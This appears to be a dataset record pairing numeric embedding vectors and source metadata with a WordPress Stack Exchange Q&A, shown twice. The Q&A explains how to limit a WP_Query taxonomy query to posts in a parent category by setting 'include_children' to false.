0.00937652587890625,
0.0030517578125,
0.0283203125,
-0.031707763671875,
-0.02691650390625,
-0.0199737548828125,
-0.045654296875,
-0.0017337799072265625,
0.0258331298828125,
0.01318359375,
-0.003971099853515625,
-0.007518768310546875,
-0.01007843017578125,
-0.006519317626953125,
0.04595947265625,
-0.037139892578125,
0.043182373046875,
-0.0138397216796875,
-0.004886627197265625,
-0.039642333984375,
0.0094451904296875,
-0.0187530517578125,
0.00042128562927246094,
-0.0125274658203125,
-0.032989501953125,
-0.05487060546875,
0.034912109375,
-0.04864501953125,
-0.03375244140625,
0.0260467529296875,
-0.05645751953125,
-0.026947021484375,
-0.034332275390625,
0.005756378173828125,
-0.023712158203125,
0.053070068359375,
-0.02703857421875,
-0.015533447265625,
0.00994873046875,
0.014739990234375,
-0.011138916015625,
-0.0300445556640625,
-0.0217742919921875,
-0.0227813720703125,
-0.0672607421875,
0.0012083053588867188,
-0.01303863525390625,
-0.02203369140625,
0.0019483566284179688,
-0.042510986328125,
-0.024749755859375,
-0.04803466796875,
0.059844970703125,
-0.0072784423828125,
0.0004153251647949219,
0.03778076171875,
0.01025390625,
0.005382537841796875,
-0.062347412109375,
0.0232086181640625,
-0.0869140625,
-0.025970458984375,
0.033355712890625,
0.041259765625,
-0.006092071533203125,
-0.045989990234375,
-0.0146636962890625,
0.059844970703125,
0.0017108917236328125,
0.0129852294921875,
0.009033203125,
0.005634307861328125,
-0.0255889892578125,
0.01708984375,
0.010406494140625,
-0.01593017578125,
0.00807952880859375,
-0.00899505615234375,
-0.028045654296875,
-0.00717926025390625,
-0.023193359375,
0.00408172607421875,
0.009124755859375,
-0.033843994140625,
-0.078857421875,
-0.03558349609375,
-0.00537109375,
0.015960693359375,
-0.0028095245361328125,
-0.0072174072265625,
-0.03961181640625,
-0.0660400390625,
0.01751708984375,
-0.03131103515625,
-0.0079193115234375,
0.0176849365234375,
0.050628662109375,
0.015960693359375,
-0.00261688232421875,
0.01904296875,
0.01154327392578125,
0.0246124267578125,
-0.004642486572265625,
0.0616455078125,
0.0177154541015625,
-0.0008668899536132812,
0.049560546875,
0.00036406517028808594,
-0.0130157470703125,
-0.0029754638671875,
0.0017957687377929688,
0.01678466796875,
-0.00650787353515625,
-0.00530242919921875,
-0.01548004150390625,
0.043487548828125,
0.0304718017578125,
-0.017578125,
-0.015625,
-0.044036865234375,
0.049560546875,
-0.006954193115234375,
0.040252685546875,
-0.046295166015625,
-0.020233154296875,
-0.01012420654296875,
-0.007843017578125,
0.050933837890625,
0.022735595703125,
0.00702667236328125,
0.022857666015625,
0.05377197265625,
-0.0215606689453125,
0.041168212890625,
0.01502227783203125,
0.00952911376953125,
0.0296478271484375,
-0.007293701171875,
-0.0171661376953125,
-0.0014715194702148438,
0.0014324188232421875,
0.0088653564453125,
0.007526397705078125,
-0.0008816719055175781,
-0.007007598876953125,
-0.00417327880859375,
0.0136566162109375,
0.001796722412109375,
-0.01175689697265625,
0.041534423828125,
0.015899658203125,
-0.025238037109375,
-0.00262451171875,
-0.03338623046875,
-0.038482666015625,
-0.04583740234375,
0.05023193359375,
0.0141754150390625,
-0.0023956298828125,
0.007781982421875,
0.031341552734375,
0.004180908203125,
-0.000028848648071289062,
-0.00856781005859375,
-0.0333251953125,
0.01409912109375,
0.0513916015625,
0.0291748046875,
-0.0298004150390625,
-0.026336669921875,
0.060791015625,
0.0311126708984375,
-0.05010986328125,
-0.00627899169921875,
0.02117919921875,
0.056304931640625,
-0.00035381317138671875,
-0.033782958984375,
-0.000040531158447265625,
-0.04150390625,
-0.02020263671875,
-0.009857177734375,
-0.0205230712890625,
-0.0078277587890625,
-0.033111572265625,
-0.0137176513671875,
0.031280517578125,
0.00901031494140625,
-0.0102691650390625,
0.002681732177734375,
-0.01611328125,
0.0264129638671875,
0.03765869140625,
0.01873779296875,
-0.0160980224609375,
-0.044769287109375,
0.01126861572265625,
-0.017333984375,
0.0290374755859375,
0.018463134765625,
0.033935546875,
-0.043548583984375,
-0.0220489501953125,
0.031341552734375,
0.01519012451171875,
0.06268310546875,
-0.0304718017578125,
-0.0394287109375,
0.0190887451171875,
0.000850677490234375,
0.0364990234375,
-0.0007104873657226562,
-0.05426025390625,
0.005748748779296875,
-0.052886962890625,
-0.017608642578125,
0.02130126953125,
0.00420379638671875,
-0.037933349609375,
-0.0185699462890625,
0.016082763671875,
0.0239410400390625,
0.00231170654296875,
-0.007152557373046875,
-0.01416778564453125,
-0.00555419921875,
0.011260986328125,
0.0200042724609375,
-0.041839599609375,
0.053924560546875,
0.0112762451171875,
0.01277923583984375,
0.00933837890625,
0.037872314453125,
0.008392333984375,
-0.0177459716796875,
-0.004238128662109375,
-0.08447265625,
-0.017791748046875,
0.0243072509765625,
-0.040863037109375,
0.04193115234375,
0.036956787109375,
0.0105743408203125,
-0.0013780593872070312,
-0.010528564453125,
0.003498077392578125,
-0.021697998046875,
-0.0027675628662109375,
-0.029449462890625,
0.0024166107177734375,
0.003383636474609375,
0.00412750244140625,
0.0384521484375,
-0.0222625732421875,
-0.0158233642578125,
0.00940704345703125,
-0.0120086669921875,
0.02716064453125,
0.004833221435546875,
-0.06732177734375,
0.0380859375,
0.07568359375,
0.047393798828125,
0.05572509765625,
-0.001644134521484375,
0.0304718017578125,
0.006809234619140625,
0.0172882080078125,
0.049468994140625,
0.0092315673828125,
0.0261993408203125,
-0.018585205078125,
-0.00215911865234375,
0.0009541511535644531,
-0.036285400390625,
-0.0017328262329101562,
0.0259857177734375,
0.0380859375,
-0.0394287109375,
-0.005725860595703125,
0.00775146484375,
-0.0220794677734375,
-0.0001277923583984375,
0.028350830078125,
-0.01439666748046875,
0.04052734375,
0.023284912109375,
-0.04547119140625,
-0.02264404296875,
0.022491455078125,
0.014892578125,
-0.006900787353515625,
0.012237548828125,
0.00272369384765625,
0.01245880126953125,
-0.0340576171875,
-0.0174102783203125,
0.026123046875,
-0.006450653076171875,
0.0005369186401367188,
-0.0221710205078125,
0.047027587890625,
-0.046478271484375,
-0.0305633544921875,
0.041015625,
-0.0294036865234375,
-0.006816864013671875,
0.02508544921875,
0.0065155029296875,
-0.0213165283203125,
0.0296783447265625,
-0.01904296875,
0.02813720703125,
-0.00945281982421875,
-0.028900146484375,
0.0760498046875,
-0.008392333984375,
0.00644683837890625,
-0.029327392578125,
0.04364013671875,
-0.01404571533203125,
0.0008726119995117188,
-0.049713134765625,
-0.0288543701171875,
-0.06939697265625,
0.07061767578125,
-0.0673828125,
0.018463134765625,
0.0070037841796875,
0.0313720703125,
0.00778961181640625,
0.01318359375,
-0.0003674030303955078,
-0.03277587890625,
-0.028411865234375,
0.00920867919921875,
-0.0322265625,
0.04595947265625,
0.0181121826171875,
-0.04022216796875,
0.0670166015625,
-0.0279693603515625,
0.04180908203125,
0.043792724609375,
0.01031494140625,
-0.002696990966796875,
0.00688934326171875,
-0.0081787109375,
0.048583984375,
0.0018749237060546875,
0.043365478515625,
-0.043365478515625,
-0.02435302734375,
0.02935791015625,
0.08612060546875,
0.07489013671875,
0.027008056640625,
-0.07537841796875,
-0.035369873046875,
-0.005275726318359375,
0.022674560546875,
-0.01068115234375,
0.0653076171875,
-0.005077362060546875,
0.0031261444091796875,
-0.006237030029296875,
-0.0144195556640625,
0.016693115234375,
-0.01302337646484375,
-0.046539306640625,
0.012237548828125,
0.007167816162109375,
0.01629638671875,
-0.0116729736328125,
0.018280029296875,
-0.0198822021484375,
-0.01004791259765625,
0.0311279296875,
-0.036590576171875,
0.0277099609375,
0.042266845703125,
0.06365966796875,
-0.09393310546875,
-0.043670654296875,
-0.032806396484375,
0.0567626953125,
-0.015869140625,
0.018341064453125,
0.005229949951171875,
0.03369140625,
0.058319091796875,
-0.02154541015625,
0.00939178466796875,
0.027923583984375,
-0.035980224609375,
0.06689453125,
0.0347900390625,
0.045562744140625,
-0.018798828125,
-0.0034503936767578125,
0.030670166015625,
0.06982421875,
-0.04925537109375,
-0.05316162109375,
-0.00269317626953125,
0.0032482147216796875,
0.006809234619140625,
0.0135040283203125,
0.0312347412109375,
-0.0284423828125,
0.0138702392578125,
-0.0216827392578125,
-0.0013217926025390625,
0.0011129379272460938,
0.024566650390625,
-0.01081085205078125,
-0.00887298583984375,
-0.0134124755859375,
0.01367950439453125,
-0.007511138916015625,
0.010589599609375,
0.00942230224609375,
0.044342041015625,
-0.0289154052734375,
0.07183837890625,
-0.06146240234375,
-0.0142059326171875,
-0.016143798828125,
0.063232421875,
0.0084075927734375,
0.0011339187622070312,
-0.06640625,
-0.045135498046875,
0.005474090576171875,
0.05255126953125,
0.0157470703125,
0.0123443603515625,
0.00995635986328125,
0.0255889892578125,
0.01166534423828125,
-0.00019669532775878906,
0.040924072265625,
-0.01148223876953125,
0.045989990234375,
-0.05316162109375,
0.045074462890625,
-0.032135009765625,
-0.0038909912109375,
-0.0198822021484375,
0.04779052734375,
-0.017425537109375,
0.02423095703125,
-0.0239105224609375,
0.015289306640625,
-0.0286102294921875,
0.036376953125,
0.00959014892578125,
0.029296875,
0.0574951171875,
-0.049285888671875,
-0.0259552001953125,
-0.01548004150390625,
-0.05615234375,
0.036468505859375,
0.06060791015625,
0.00977325439453125,
-0.0193023681640625,
0.0145416259765625,
0.002445220947265625,
-0.0013151168823242188,
-0.018402099609375,
0.01153564453125,
0.027679443359375,
0.0251007080078125,
0.025146484375,
-0.024139404296875,
-0.0256500244140625,
-0.00478363037109375,
0.044525146484375,
-0.01080322265625,
0.1546630859375,
-0.069580078125,
-0.018218994140625,
-0.043243408203125,
0.0016469955444335938,
-0.046356201171875,
-0.0254058837890625,
-0.00463104248046875,
0.00022089481353759766,
-0.0210113525390625,
0.00814056396484375,
-0.022247314453125,
-0.0030231475830078125,
0.02386474609375,
-0.042083740234375,
-0.0033435821533203125,
-0.034332275390625,
0.0164794921875,
-0.0225372314453125,
-0.0357666015625,
-0.044677734375,
-0.046905517578125,
-0.023651123046875,
0.00563812255859375,
-0.0007090568542480469,
0.00525665283203125,
-0.01430511474609375,
0.037139892578125,
-0.0029087066650390625,
0.0201568603515625,
-0.006832122802734375,
0.006641387939453125,
-0.00024199485778808594,
0.03076171875,
-0.034637451171875,
-0.0172882080078125,
0.022857666015625,
-0.0129547119140625,
0.00131988525390625,
0.01873779296875,
0.01258087158203125,
0.0194244384765625,
-0.0153656005859375,
0.001064300537109375,
0.0039520263671875,
0.010589599609375,
-0.02227783203125,
0.006618499755859375,
-0.001071929931640625,
-0.0059814453125,
0.02008056640625,
-0.023956298828125,
-0.017333984375,
-0.0235595703125,
-0.042205810546875,
-0.0038471221923828125,
-0.0167388916015625,
-0.0548095703125,
-0.0038776397705078125,
-0.0035724639892578125,
0.0185089111328125,
0.0125579833984375,
-0.043701171875,
0.037994384765625,
-0.01751708984375,
0.036346435546875,
-0.013214111328125,
-0.021697998046875,
0.00408935546875,
0.00968170166015625,
-0.0640869140625,
0.00047278404235839844,
-0.0443115234375,
-0.038604736328125,
-0.051116943359375,
0.005031585693359375,
0.043212890625,
-0.0243072509765625,
-0.03912353515625,
-0.020111083984375,
-0.0153656005859375,
0.04022216796875,
-0.011627197265625,
0.0092620849609375,
0.054290771484375,
0.0147857666015625,
-0.047698974609375,
-0.08740234375,
-0.0116729736328125,
-0.0196075439453125,
0.0268096923828125,
0.0287017822265625,
-0.044403076171875,
-0.0275115966796875,
-0.04425048828125,
-0.029510498046875,
0.055908203125,
0.031097412109375,
-0.0234527587890625,
-0.036956787109375,
-0.001651763916015625,
-0.0281524658203125,
0.056884765625,
0.0116424560546875,
-0.0259246826171875,
-0.016571044921875,
0.040130615234375,
0.033172607421875,
0.0404052734375,
-0.017791748046875,
0.042694091796875,
-0.005954742431640625,
0.054290771484375,
0.028350830078125,
0.0037326812744140625,
0.02349853515625,
-0.00971221923828125,
0.0380859375,
0.067626953125,
-0.01076507568359375,
0.00643157958984375,
-0.0006670951843261719,
-0.052581787109375,
0.0268402099609375,
-0.01837158203125,
-0.06707763671875,
-0.059814453125,
0.05853271484375,
-0.00897216796875,
0.033111572265625,
0.0233154296875,
-0.05572509765625,
-0.0545654296875,
-0.05133056640625,
-0.02740478515625,
0.0411376953125,
-0.060882568359375,
0.044342041015625,
-0.0158233642578125,
0.009521484375,
-0.0012598037719726562,
-0.01177978515625,
-0.0190887451171875,
-0.009063720703125,
-0.01050567626953125,
-0.01788330078125,
0.0016164779663085938,
-0.04473876953125,
0.03045654296875,
-0.03167724609375,
-0.0400390625,
0.013641357421875,
0.034423828125,
-0.03875732421875,
0.0027790069580078125,
-0.06402587890625,
0.0200042724609375,
-0.01396942138671875,
-0.0099639892578125,
0.0056915283203125,
-0.00359344482421875,
0.006984710693359375,
0.04736328125,
0.00356292724609375,
0.0154571533203125,
0.00424957275390625,
-0.0007214546203613281,
-0.0198822021484375,
0.055389404296875,
0.00174713134765625,
0.06866455078125,
-0.005542755126953125,
0.01428985595703125,
0.0013580322265625,
0.046356201171875,
-0.00812530517578125,
-0.004974365234375,
0.009857177734375,
-0.037139892578125,
-0.0116119384765625,
-0.00862884521484375,
-0.0148773193359375,
-0.060516357421875,
0.00835418701171875,
-0.04486083984375,
0.002262115478515625,
0.025909423828125
] |
7412ba909d52b744b54edf77ea60801cae7cbeea
|
Wordpress Stackexchange
Q: Show Post from parent category (custom taxonomy) ONLY! I want to display all post under a parent category (custom taxonomy) ONLY!.
Here's what I've done so far:'
<?php
$args = array(
'posts_per_page' => 100,
'post_status' => 'publish',
'tax_query' => array(
array(
'taxonomy' => 'ait-dir-item-category',
'field' => 'id',
'terms' => 75
)
),
'post_type' => 'ait-dir-item' );
$the_posts = new WP_Query($args);
This displays all the posts including the sub categories, which I don't want to.
Thanks!!
A: Any tax_query can take an include_children argument (see Codex) that defaults to true. So just add that to your code and it should work:
<?php
$args = array(
'posts_per_page' => 100,
'post_status' => 'publish',
'tax_query' => array(
array(
'taxonomy' => 'ait-dir-item-category',
'field' => 'id',
'terms' => 75,
'include_children' => false
)
),
'post_type' => 'ait-dir-item' );
$the_posts = new WP_Query($args);
Note: I'm unsure of the behavior of include_children when a post is assigned to both a child and parent, but I would guess that the post would show up.
EDIT: Posted the wrong link earlier. from The Codex:
include_children (boolean) - Whether or not to include children for hierarchical taxonomies. Defaults to true.
|
Q: Show Post from parent category (custom taxonomy) ONLY! I want to display all post under a parent category (custom taxonomy) ONLY!.
Here's what I've done so far:'
<?php
$args = array(
'posts_per_page' => 100,
'post_status' => 'publish',
'tax_query' => array(
array(
'taxonomy' => 'ait-dir-item-category',
'field' => 'id',
'terms' => 75
)
),
'post_type' => 'ait-dir-item' );
$the_posts = new WP_Query($args);
This displays all the posts including the sub categories, which I don't want to.
Thanks!!
A: Any tax_query can take an include_children argument (see Codex) that defaults to true. So just add that to your code and it should work:
<?php
$args = array(
'posts_per_page' => 100,
'post_status' => 'publish',
'tax_query' => array(
array(
'taxonomy' => 'ait-dir-item-category',
'field' => 'id',
'terms' => 75,
'include_children' => false
)
),
'post_type' => 'ait-dir-item' );
$the_posts = new WP_Query($args);
Note: I'm unsure of the behavior of include_children when a post is assigned to both a child and parent, but I would guess that the post would show up.
EDIT: Posted the wrong link earlier. from The Codex:
include_children (boolean) - Whether or not to include children for hierarchical taxonomies. Defaults to true.
|
wordpress
|
{
"language": "en",
"length": 190,
"provenance": "stackexchange_00019.jsonl.gz:437269",
"question_score": "3",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/114687"
}
|
[
0.05780029296875,
0.00739288330078125,
0.00015723705291748047,
-0.093505859375,
0.02056884765625,
-0.017852783203125,
-0.0033111572265625,
0.004825592041015625,
-0.024993896484375,
0.023345947265625,
-0.06011962890625,
-0.006938934326171875,
-0.0232696533203125,
-0.020111083984375,
-0.0071563720703125,
-0.06072998046875,
0.028717041015625,
-0.04345703125,
0.00930023193359375,
-0.0206146240234375,
0.0069427490234375,
-0.0016918182373046875,
0.0458984375,
0.01026153564453125,
0.0258636474609375,
-0.0163116455078125,
0.01580810546875,
-0.03369140625,
0.009124755859375,
-0.0233001708984375,
0.01239013671875,
0.0167694091796875,
0.01287078857421875,
-0.007762908935546875,
0.035308837890625,
-0.0030307769775390625,
0.0241851806640625,
-0.015350341796875,
0.034576416015625,
-0.0034351348876953125,
0.010345458984375,
0.0014085769653320312,
0.0106353759765625,
0.00838470458984375,
-0.0251617431640625,
-0.004528045654296875,
-0.002716064453125,
-0.01389312744140625,
0.02978515625,
-0.04864501953125,
0.0124359130859375,
-0.00022304058074951172,
0.0281829833984375,
-0.031494140625,
-0.0196990966796875,
0.0164031982421875,
0.005878448486328125,
-0.034027099609375,
0.058013916015625,
-0.046051025390625,
-0.054656982421875,
-0.045013427734375,
0.048309326171875,
-0.005832672119140625,
0.004207611083984375,
0.0173492431640625,
-0.00545501708984375,
0.0079498291015625,
-0.078125,
-0.019927978515625,
0.0460205078125,
-0.06500244140625,
0.0112762451171875,
0.008697509765625,
-0.04815673828125,
-0.055419921875,
0.0179290771484375,
-0.03778076171875,
0.0250244140625,
-0.0080718994140625,
-0.00923919677734375,
0.0253143310546875,
-0.05908203125,
0.0188751220703125,
-0.0140838623046875,
0.032257080078125,
-0.0277557373046875,
-0.027252197265625,
-0.0158538818359375,
-0.0218505859375,
-0.0190582275390625,
-0.03045654296875,
-0.0225830078125,
0.01139068603515625,
0.0103607177734375,
-0.043914794921875,
0.0182037353515625,
0.0655517578125,
-0.0469970703125,
0.0123291015625,
-0.0552978515625,
0.0013532638549804688,
-0.00951385498046875,
-0.043975830078125,
0.042510986328125,
0.038909912109375,
-0.04461669921875,
-0.022705078125,
0.08477783203125,
0.0350341796875,
0.025909423828125,
0.044708251953125,
-0.036712646484375,
-0.0293426513671875,
-0.0223388671875,
0.050201416015625,
-0.05242919921875,
-0.008575439453125,
-0.0079803466796875,
0.0185546875,
0.00969696044921875,
0.022796630859375,
0.02227783203125,
-0.0245819091796875,
0.01001739501953125,
0.006214141845703125,
-0.004108428955078125,
-0.048248291015625,
0.023101806640625,
-0.0005812644958496094,
-0.050628662109375,
0.005840301513671875,
0.052276611328125,
0.02587890625,
0.0173492431640625,
-0.01092529296875,
0.0099945068359375,
-0.01311492919921875,
0.0196075439453125,
-0.0226593017578125,
0.01910400390625,
-0.018798828125,
0.00850677490234375,
0.015411376953125,
-0.0263519287109375,
0.015899658203125,
0.015838623046875,
0.003955841064453125,
-0.015869140625,
-0.0484619140625,
-0.007335662841796875,
-0.0158233642578125,
0.07269287109375,
-0.0174102783203125,
-0.079345703125,
-0.01068115234375,
-0.01300811767578125,
-0.015960693359375,
-0.0533447265625,
-0.046905517578125,
0.01018524169921875,
0.0198211669921875,
0.019012451171875,
-0.04083251953125,
-0.05169677734375,
-0.0239715576171875,
-0.042999267578125,
-0.006526947021484375,
0.0214080810546875,
-0.04345703125,
0.031494140625,
-0.0230255126953125,
0.03546142578125,
0.00930023193359375,
0.006927490234375,
0.031890869140625,
-0.015869140625,
0.019775390625,
0.0136260986328125,
0.01461029052734375,
-0.0032749176025390625,
-0.041534423828125,
0.0067138671875,
0.0034809112548828125,
-0.0228118896484375,
0.00821685791015625,
-0.00876617431640625,
-0.00550079345703125,
0.0207366943359375,
0.00922393798828125,
-0.0125885009765625,
0.039093017578125,
-0.061737060546875,
0.055633544921875,
0.0185699462890625,
-0.0243988037109375,
-0.031585693359375,
-0.024169921875,
-0.00205230712890625,
-0.017059326171875,
-0.015716552734375,
-0.0253143310546875,
0.01140594482421875,
0.0008573532104492188,
-0.017120361328125,
-0.007232666015625,
-0.003574371337890625,
0.0209503173828125,
0.0163116455078125,
0.02349853515625,
-0.00014126300811767578,
0.0018491744995117188,
-0.0264892578125,
-0.021087646484375,
-0.03082275390625,
0.015869140625,
-0.001079559326171875,
0.02398681640625,
-0.00014328956604003906,
-0.00045680999755859375,
0.00789642333984375,
-0.0439453125,
0.0033130645751953125,
0.038299560546875,
0.08416748046875,
-0.01425933837890625,
0.01345062255859375,
-0.01158905029296875,
0.0765380859375,
0.0262451171875,
-0.05670166015625,
-0.004016876220703125,
0.0238494873046875,
-0.013031005859375,
-0.06951904296875,
-0.001567840576171875,
-0.0276031494140625,
-0.0211029052734375,
-0.0105133056640625,
0.061737060546875,
0.0093231201171875,
0.035491943359375,
-0.028778076171875,
0.005489349365234375,
0.0831298828125,
-0.06964111328125,
-0.037689208984375,
0.0238189697265625,
0.0159149169921875,
0.043121337890625,
0.0194244384765625,
-0.006855010986328125,
0.0179595947265625,
-0.033050537109375,
0.04571533203125,
0.00716400146484375,
-0.0034580230712890625,
-0.01377105712890625,
-0.0179901123046875,
-0.01235198974609375,
0.02508544921875,
-0.035614013671875,
-0.04656982421875,
0.001399993896484375,
0.01299285888671875,
0.01885986328125,
0.0251007080078125,
0.0189056396484375,
-0.0198211669921875,
-0.004108428955078125,
0.005725860595703125,
0.0161285400390625,
0.005344390869140625,
0.00514984130859375,
-0.001239776611328125,
0.003814697265625,
-0.0237579345703125,
0.0012483596801757812,
0.0252227783203125,
-0.006496429443359375,
0.0200042724609375,
0.049591064453125,
0.01502227783203125,
0.0099639892578125,
-0.02783203125,
-0.032135009765625,
0.0147552490234375,
0.07867431640625,
-0.0214996337890625,
-0.0230255126953125,
0.00992584228515625,
0.035369873046875,
-0.0208587646484375,
0.0224456787109375,
-0.00921630859375,
-0.00659942626953125,
-0.01444244384765625,
-0.03314208984375,
0.0491943359375,
-0.034210205078125,
-0.0103759765625,
0.046234130859375,
0.01549530029296875,
-0.0176239013671875,
0.00888824462890625,
-0.0295562744140625,
-0.0026111602783203125,
0.03643798828125,
-0.00391387939453125,
-0.034881591796875,
-0.01293182373046875,
0.0357666015625,
0.0221099853515625,
0.07122802734375,
-0.0253753662109375,
-0.05438232421875,
-0.0173797607421875,
0.036102294921875,
-0.0772705078125,
-0.07440185546875,
0.031005859375,
-0.031402587890625,
-0.04144287109375,
0.0036907196044921875,
-0.0222320556640625,
0.0010881423950195312,
0.0019016265869140625,
-0.0178680419921875,
-0.020599365234375,
-0.0232696533203125,
-0.048248291015625,
-0.047332763671875,
-0.03717041015625,
0.020965576171875,
-0.010009765625,
0.00980377197265625,
0.006046295166015625,
0.09552001953125,
0.02069091796875,
-0.0628662109375,
-0.01459503173828125,
0.068603515625,
-0.01271820068359375,
0.0105743408203125,
0.020904541015625,
-0.0200958251953125,
0.020751953125,
0.0005450248718261719,
0.0168609619140625,
0.0295562744140625,
-0.0301361083984375,
-0.010986328125,
0.01123046875,
0.032623291015625,
0.007450103759765625,
0.00991058349609375,
0.00267791748046875,
0.04571533203125,
0.01270294189453125,
-0.012939453125,
-0.035308837890625,
-0.0031070709228515625,
-0.039703369140625,
-0.0078582763671875,
0.01004791259765625,
0.005176544189453125,
-0.0199737548828125,
0.00513458251953125,
0.006786346435546875,
0.0244903564453125,
0.01324462890625,
-0.027008056640625,
0.0271759033203125,
0.00580596923828125,
0.01271820068359375,
-0.005466461181640625,
-0.01303863525390625,
-0.0231475830078125,
0.0023746490478515625,
-0.0231475830078125,
0.01397705078125,
-0.0052032470703125,
0.01702880859375,
-0.03173828125,
-0.0321044921875,
0.0139312744140625,
-0.05535888671875,
-0.005336761474609375,
-0.035491943359375,
0.00551605224609375,
-0.006542205810546875,
0.051727294921875,
-0.01071929931640625,
-0.01171875,
-0.044097900390625,
0.006130218505859375,
-0.024139404296875,
-0.050872802734375,
-0.0166778564453125,
0.0037517547607421875,
-0.044158935546875,
-0.009307861328125,
-0.022125244140625,
-0.0122833251953125,
0.02239990234375,
0.016937255859375,
0.0038471221923828125,
-0.030303955078125,
0.04217529296875,
-0.035186767578125,
-0.0028743743896484375,
0.0219879150390625,
0.0139923095703125,
-0.025482177734375,
-0.0254669189453125,
0.0064239501953125,
-0.0645751953125,
-0.0055084228515625,
0.01751708984375,
0.0143890380859375,
-0.01141357421875,
-0.01293182373046875,
-0.027069091796875,
0.0328369140625,
0.043426513671875,
0.0179443359375,
-0.01953125,
-0.0244140625,
-0.057708740234375,
0.0087738037109375,
0.006671905517578125,
-0.016448974609375,
-0.027069091796875,
-0.01256561279296875,
-0.0218505859375,
0.022674560546875,
-0.012481689453125,
-0.0054931640625,
0.0174102783203125,
-0.0136871337890625,
-0.04632568359375,
-0.0372314453125,
-0.06854248046875,
-0.035919189453125,
-0.031982421875,
-0.015228271484375,
-0.018218994140625,
-0.062042236328125,
0.0269775390625,
-0.0013294219970703125,
-0.042327880859375,
0.0139312744140625,
0.060760498046875,
0.0300140380859375,
-0.0198516845703125,
-0.03564453125,
-0.0117950439453125,
0.01325225830078125,
-0.0355224609375,
0.06304931640625,
0.035675048828125,
0.00037598609924316406,
0.041473388671875,
-0.006198883056640625,
0.01296234130859375,
0.0191497802734375,
0.061920166015625,
0.0124359130859375,
0.004962921142578125,
0.01334381103515625,
-0.0030670166015625,
-0.031890869140625,
0.002803802490234375,
-0.006633758544921875,
-0.039459228515625,
0.002838134765625,
0.0498046875,
-0.00997161865234375,
0.03900146484375,
-0.04144287109375,
-0.0149383544921875,
0.01824951171875,
0.048309326171875,
-0.005939483642578125,
0.0278167724609375,
-0.0088653564453125,
0.0030975341796875,
-0.005992889404296875,
-0.0011854171752929688,
-0.0006704330444335938,
0.057037353515625,
-0.010498046875,
0.0450439453125,
-0.01517486572265625,
-0.01430511474609375,
-0.041717529296875,
0.0060272216796875,
-0.0160064697265625,
-0.00937652587890625,
-0.05108642578125,
-0.0038166046142578125,
0.01250457763671875,
0.036224365234375,
0.00521087646484375,
0.033294677734375,
0.06072998046875,
0.0282745361328125,
0.0269012451171875,
-0.0226287841796875,
-0.01067352294921875,
0.0316162109375,
-0.0249176025390625,
-0.011474609375,
0.00926971435546875,
-0.020233154296875,
-0.012725830078125,
0.034942626953125,
0.0299072265625,
0.002696990966796875,
-0.029754638671875,
-0.007045745849609375,
-0.01043701171875,
0.033477783203125,
0.0234375,
-0.0341796875,
0.01477813720703125,
0.004352569580078125,
0.026763916015625,
-0.046600341796875,
-0.033111572265625,
0.033294677734375,
0.075927734375,
0.00617218017578125,
-0.01483154296875,
-0.00838470458984375,
-0.00838470458984375,
-0.0231170654296875,
0.01529693603515625,
-0.0152435302734375,
0.0057373046875,
-0.041351318359375,
-0.03729248046875,
0.0192718505859375,
0.0211639404296875,
-0.042449951171875,
0.01166534423828125,
-0.07525634765625,
0.0128326416015625,
-0.00850677490234375,
-0.0306549072265625,
0.0268402099609375,
0.0170440673828125,
-0.040771484375,
-0.018341064453125,
0.040008544921875,
-0.0244140625,
-0.014678955078125,
-0.0223236083984375,
-0.034637451171875,
0.0055084228515625,
-0.00846099853515625,
0.05438232421875,
-0.05352783203125,
-0.01947021484375,
0.0090484619140625,
-0.00908660888671875,
0.08367919921875,
0.047332763671875,
-0.07183837890625,
0.0052947998046875,
-0.036285400390625,
0.0017070770263671875,
-0.01142120361328125,
-0.051910400390625,
-0.03472900390625,
-0.01406097412109375,
-0.007568359375,
0.00572967529296875,
-0.0172271728515625,
-0.01348876953125,
-0.05322265625,
0.0038738250732421875,
0.026611328125,
-0.0021724700927734375,
-0.03277587890625,
0.09283447265625,
-0.042633056640625,
0.04876708984375,
-0.0200958251953125,
0.00102996826171875,
-0.0278167724609375,
0.01971435546875,
-0.00676727294921875,
-0.0875244140625,
-0.007549285888671875,
0.023345947265625,
-0.03399658203125,
0.0113525390625,
-0.0162506103515625,
0.004093170166015625,
0.036895751953125,
-0.01129913330078125,
-0.002864837646484375,
-0.005863189697265625,
0.007488250732421875,
-0.0240478515625,
0.020355224609375,
0.038360595703125,
0.01215362548828125,
0.0238800048828125,
0.0190582275390625,
-0.029388427734375,
0.013885498046875,
0.0178680419921875,
0.019134521484375,
-0.01708984375,
-0.0430908203125,
0.0596923828125,
0.07305908203125,
-0.00826263427734375,
0.0413818359375,
0.0155487060546875,
0.0035915374755859375,
0.0038280487060546875,
-0.006122589111328125,
0.01100921630859375,
-0.0034885406494140625,
0.04656982421875,
-0.01250457763671875,
-0.01325225830078125,
0.0203857421875,
-0.03155517578125,
-0.044281005859375,
0.0070648193359375,
-0.006763458251953125,
-0.0225372314453125,
-0.022796630859375,
-0.00940704345703125,
0.008209228515625,
-0.0140533447265625,
0.0255279541015625,
0.006805419921875,
0.0230560302734375,
-0.049652099609375,
0.00732421875,
-0.02130126953125,
-0.008880615234375,
-0.00039124488830566406,
-0.015960693359375,
-0.0184783935546875,
0.019622802734375,
0.00887298583984375,
-0.0143280029296875,
0.01421356201171875,
-0.0093841552734375,
0.0092010498046875,
-0.0322265625,
-0.0007038116455078125,
-0.0294189453125,
0.00345611572265625,
-0.056488037109375,
0.00885772705078125,
-0.035980224609375,
0.018646240234375,
0.045379638671875,
0.0037994384765625,
0.012481689453125,
0.05523681640625,
-0.018707275390625,
0.050933837890625,
0.00963592529296875,
-0.028594970703125,
-0.05718994140625,
-0.0047454833984375,
0.00916290283203125,
0.020111083984375,
-0.04266357421875,
0.0245513916015625,
-0.044830322265625,
-0.0021343231201171875,
-0.0019369125366210938,
-0.0127410888671875,
0.00698089599609375,
-0.031463623046875,
-0.010650634765625,
0.01708984375,
0.0306549072265625,
0.00421905517578125,
0.00921630859375,
0.03204345703125,
-0.0445556640625,
-0.02301025390625,
0.0176239013671875,
-0.03668212890625,
-0.06500244140625,
-0.0128936767578125,
-0.042694091796875,
0.1368408203125,
-0.028167724609375,
0.039703369140625,
0.0295867919921875,
0.046905517578125,
-0.0261993408203125,
0.027008056640625,
-0.0300445556640625,
0.07958984375,
0.05084228515625,
0.0045318603515625,
-0.049896240234375,
-0.0236358642578125,
-0.0036182403564453125,
0.040496826171875,
0.055206298828125,
0.0062408447265625,
-0.04534912109375,
-0.0221710205078125,
0.03271484375,
0.019195556640625,
-0.005619049072265625,
